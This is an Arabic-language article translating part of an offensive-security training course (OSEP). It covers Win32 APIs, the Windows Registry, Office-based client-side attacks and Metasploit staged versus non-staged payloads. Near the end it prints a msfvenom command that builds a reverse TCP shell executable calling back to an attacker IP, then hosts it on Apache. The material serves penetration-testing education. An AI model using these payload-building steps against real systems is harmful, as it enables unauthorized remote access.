السلام عليكم ورحمة الله تعالى وبركاته هذا المقال التاني من سلسلة "ترجمة
كتاب OSEP كامل على شكل مقالات" من دون طول بالمقدمة دعونا نتابع ما
بدأنا به في الجزء الأول
2.2.2 Win32 APIs | تكملة
يعرض قسم بناء الجملة في الوثائق النموذج الأولي "prototype" للوظيفة
الذي يوضح عدد ونوع الوسائط بالإضافة إلى نوع الإرجاع:
BOOL GetUserNameA(
LPSTR lpBuffer,
LPDWORD pcbBuffer
);
في هذا المثال، تتطلب واجهة برمجة التطبيقات "API" وسيطين
"arguments" الأول عبارة عن مخزن مؤقت للإخراج من النوع LPSTR وهو مصطلح
Microsoft لمجموعة الأحرف. والحجة الثانية عبارة عن مؤشر إلى DWORD وهو عدد
صحيح غير موقّع مكون من 32 بت قيمة الإرجاع من واجهة برمجة التطبيقات هي
قيمة منطقية " boolean"
سنستخدم على نطاق واسع العديد من Win32Api وأنواع البيانات المرتبطة بها
من Microsoft35 خلال هذه الدورة. عندما نستخدم APIs هذه، يجب أن نضع في
اعتبارنا تفصيلتين معينتين . أولاً، يجب أن نحدد ما إذا كانت العملية 32
بت أو 64 بت، حيث إن بعض الـ arguments وحجمها يعتمدان على البت
"bitness" . ثانيًا، يجب علينا التمييز بين استخدام ASCII36 وUnicode37
(الذي تشير إليه Microsoft أحيانًا باسم UTF-1638). نظرًا لأن أحرف ASCII
تستخدم بايتًا واحدًا بينما يستخدم Unicode بايتين على الأقل، فإن العديد من
واجهات برمجة التطبيقات Win32 متوفرة في نسختين مختلفتين.
يوضح القسم 2 أعلاه النموذج الأولي لـ GetUserNameA، حيث يشير suffix الـ "A"
إلى إصدار ASCII من API. يوضح القسم 3 أدناه النموذج الأولي لـ GetUserNameW،
حيث يشير suffix الـ "w" (لـ "wide char") إلى Unicode:
BOOL GetUserNameW(
LPWSTR lpBuffer,
LPDWORD pcbBuffer
);
النوع الأول من الـ arguments هو الآن من النوع LPCWSTR وهو عبارة عن مصفوفة أحرف UNICODE. سوف نستخدم
واجهات برمجة تطبيقات Win32 على نطاق واسع في هذه الدورة
2.2.3 Windows Registry | سجل ويندوز
تدعم العديد من لغات البرمجة مفهوم المتغيرات الـ Local والـ Global ، حيث تكون
المتغيرات الـ Local محدودة النطاق والمتغيرات الـ Global قابلة للاستخدام
في أي مكان في الكود. يحتاج نظام التشغيل إلى متغيرات Global بنفس الطريقة
تقريبًا. يستخدم Windows السجل "Registry" لتخزين العديد من هذه المتغيرات.
في هذا القسم، سنناقش الـ Registry لأنه يحتوي على معلومات مهمة يمكن إساءة
استخدامها أثناء الهجمات، وقد تسمح لنا بعض التعديلات بعمل Bypass دفاعات
معينة.
السجل هو في الواقع قاعدة بيانات تتكون من عدد هائل من المفاتيح مع القيم
المرتبطة بها. يتم فرز هذه المفاتيح بشكل هرمي "hierarchically " باستخدام المفاتيح الفرعية subkeys.
في الـ Root، تحتوي خلايا التسجيل المتعددة "multiple registry hives" على أقسام منطقية لـ registry keys. يتم تخزين المعلومات المتعلقة بالمستخدم الحالي في خلية HKEY_CURRENT_USER
(HKCU)، بينما يتم تخزين المعلومات المتعلقة بنظام التشغيل نفسه في خلية HKEY_LOCAL_MACHINE (HKLM).
يمكن لـ Local User الكتابة إلى خلية HKEY_CURRENT_USER بينما يتطلب
تعديل خلية HKEY_LOCAL_MACHINE صلاحيات إدارية.
يمكننا التفاعل مع الـ Registry برمجيًا من خلال Win32 API وكذلك من
خلال واجهة المستخدم الرسومية باستخدام أدوات مثل Registry Editor (regedit)
الموضح في الشكل التالي 1 :
|
|
Registry Editor in Windows
|
يوضح الشكل 1 خلايا التسجيل الإضافية والتي سوف نستكشف بعضها في وحدات
لاحقة.
نظرًا لأن إصدار 64 بت من Windows يمكنه تنفيذ تطبيقات 32 بت، فإن كل خلية
تسجيل تحتوي على قسم مكرر يسمى Wow6432Node 41 والذي يخزن إعدادات 32 بت
المناسبة.
يتم استخدام الـ Registry على نطاق واسع بواسطة نظام التشغيل ومجموعة متنوعة
من التطبيقات. وباعتبارنا مختبرين للاختراق، يمكننا الحصول على معلومات
استطلاعية مختلفة منه أو تعديله لتحسين الهجمات أو الـ Evasion
2.3 Wrapping Up | الختام
قدمت هذه الوحدة مقدمة موجزة عن البرمجة ونظرة عامة عالية المستوى لبعض
الجوانب المهمة لنظام التشغيل Windows. تعمل هذه النظرة العامة الموجزة
للغاية على
إعدادنا للتقنيات التي سنستخدمها ونطورها في هذه الدورة.
3- Client Side Code Execution With Office | تنفيذ التعليمات
البرمجية من جانب العميل باستخدام Office
توجد طريقتان عادةً للحصول على وصول غير مصرح به عن بُعد
" unauthorized remote access" إلى نظام ما. الطريقة الأولى هي استغلال تطبيق "vulnerable application" أو خدمة معرضة للخطر ومعرضة للاختراق عبر الإنترنت. ورغم أن هذا لا يتطلب تفاعل الضحية، إلا أن الهدف يجب أن يشغل برنامجًا معرضًا للخطر
"vulnerable "، وهو ما يجب أن نستهدفه باستغلاله.
الطريقة الثانية للحصول على إمكانية الوصول " gain remote access " عن بعد هي خداع المستخدم لتشغيل تعليمات برمجية ضارة "malicious code" تتطلب هذه التقنية عادةً أن يتفاعل الضحية مع ملف أو
صفحة ويب HTML في متصفح. تندرج هذه الأنواع من الهجمات ضمن فئة الهندسة
الاجتماعية المعروفة باسم التصيد الاحتيالي "Phishing" وبينما يمكن اكتشاف
الثغرات الأمنية في البرامج وتصحيحها، فإن سلوك المستخدم يكون أكثر صعوبة في
التصحيح، مما يجعل هذا ناقل هجوم جذابًا بشكل خاص والتركيز الأساسي لهذه
الوحدة.
من أجل جعل هذا النوع من الهجمات أكثر فعالية، سنحاول إساءة استخدام الميزات
الموجودة في البرامج التي يستخدمها المستخدم النهائي عادةً ويثق بها. وعلى وجه
التحديد، فإن هدف هذه الوحدة هو الحصول على تنفيذ التعليمات البرمجية من خلال
استغلال منتجات Microsoft Office. وهذا هو ناقل هجوم شائع في كل من الهجمات في
العالم الحقيقي "Real Word Attacks" وفي اختبارات الاختراق.
1.3 Will You Be My Dropper
دعونا نناقش سيناريوهات الهجوم في العالم الحقيقي ونصف كيف تترجم هذه المفاهيم
إلى اختبار اختراق.
لبدء الـ Client Side Attacks ، يقوم المهاجم غالبا بوضع Trojan (في
شكل برنامج نصي أو
و مستند) للضحية ويخدعه تنفيذه. تقوم الـ Trojans التقليدية
بتضمين حمولة كاملة "Payload" ولكن الـ Trojan Dropper الأكثر
تعقيدًا تعتمد على الـ Staged Payload مع Function Callback
بمجرد تسليم الكود، يمكن كتابته على الـ Hard Disk أو تشغيله مباشرة من الـ
Memory. وفي كلتا الحالتين، فإن هدف الكود هو إنشاء قناة اتصال مع
المهاجم.الكود الذي يتم تشغيله على محطة عمل "Workstation" الضحية
معروف بعدة أسماء (غالبًا مترادفة) بما في ذلك Implant, Agent,
Backdoor, or او ببساطة البرمجيات الخبيثة.
بمجرد تنفيذ هذا الكود على الـ Client ، يجب أن يتصل ببنية تحتية
"اCommand and control" أو C2 من أجل التواصل مرة أخرى مع المهاجم.
سيحتوي هذا الكود على اسم مضيف "HostName" المهاجم واسم المجال "Domain
Name" أو عنوان IP وسيستفيد من بروتوكول شبكة متاح مثل HTTP أو HTTPS
(الذي قد يحاكي نشاط المستخدم) أو DNS (الذي يحاكي نشاط الشبكة
الشائع). يُبسِّط إطار عمل Metasploit هذه العملية.
1.1.3 Staged vs Non-staged Payloads
يتميز Metasploit بمكاتب رائعة من الـ Payloads التي يمكن تنسيقها بطرق
مختلفة عديدة. يتضمن الإطار Staged و Non-Staged
على سبيل المثال، windows/shell_reverse_tcp عبارة عن ببساطة
non-staged reverse TCP shell payload وهي تحتوي على
كل التعليمات البرمجية اللازمة لفتح reverse command shell لجهاز
المهاجم. الـ Payload نفسها عبارة عن عدد من تعليمات الـ
Assembly، والتي عند تنفيذها، تستدعي عددًا من Windows APIs التي تتصل
بـ C2 الخاص بالمهاجم وتكشف موجه أوامر cmd.exe.
الـ Staged Payloads مثل windows/shell/reverse_tcp, تحتوي على قدر
ضئيل من التعليمات البرمجية يقوم بإجراء استدعاء "Callback" ، ثم يقوم
باسترجاع أي كود متبقي وينفذه في الـ Memory , لا تشغل هذه الحمولة
الصغيرة نفس القدر من الذاكرة مثل الحمولة غير لـ Non-Staged، وقد
تتجنب برامج مكافحة الفيروسات.
لاحظ الفرق في الفواصل المستخدمة في أسماء هذه الـ Payloads. تستخدم الـ
Non-Staged Payloads _ وتستخدم الـ Staged Payloads / على التوالي، كما هو
موضح أدناه. يشير وصف الحمولة أيضًا إلى ما إذا كانت staged او Non-staged .
windows/x64/meterpreter_reverse_https Connect back to attacker and spawn a
Meterpreter shell
windows/x64/meterpreter/reverse_https Inject the meterpreter server DLL via th
Reflective Dll Injection payload (staged x64).
2.1.3 Building Our Droppers
مجرد اختيار الحمولة، يمكننا إنشاؤها باستخدام msfvenom على سبيل
المثال، دعنا ننشئ ملفًا قابلاً للتنفيذ عاديًا بـ Non Staged Payload.
أولاًسنضبط الـ Payload باستخدام -p، وعنوان IP المهاجم والمنفذ باستخدام
LHOST وLPORT سنضبط تنسيق الحمولة "Payload Format" ليكون قابلاً
للتنفيذ باستخدام -f وسنتخدم-o لحفظ الـ Payload في root في خادم الويب
Apache الخاص بنا. هذا البناء متطابق للحمولات الـ Staged و non-staged
kali@kali:~$ sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120
LPORT=444 -f exe -o /var/www/html/shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: /var/www/html/shell.exe
kali@kali:~$ sudo service apache2 start
مع حفظ الـ Payload في الـ Root Directory في Apache الخاص بنا وبدء تشغيل
الخادم، يمكننا تشغيل مستمع Netcat على جهاز هجوم Kali الخاص بنا لتلقي الـ
Shell .
.... نتابع بالمقال القادم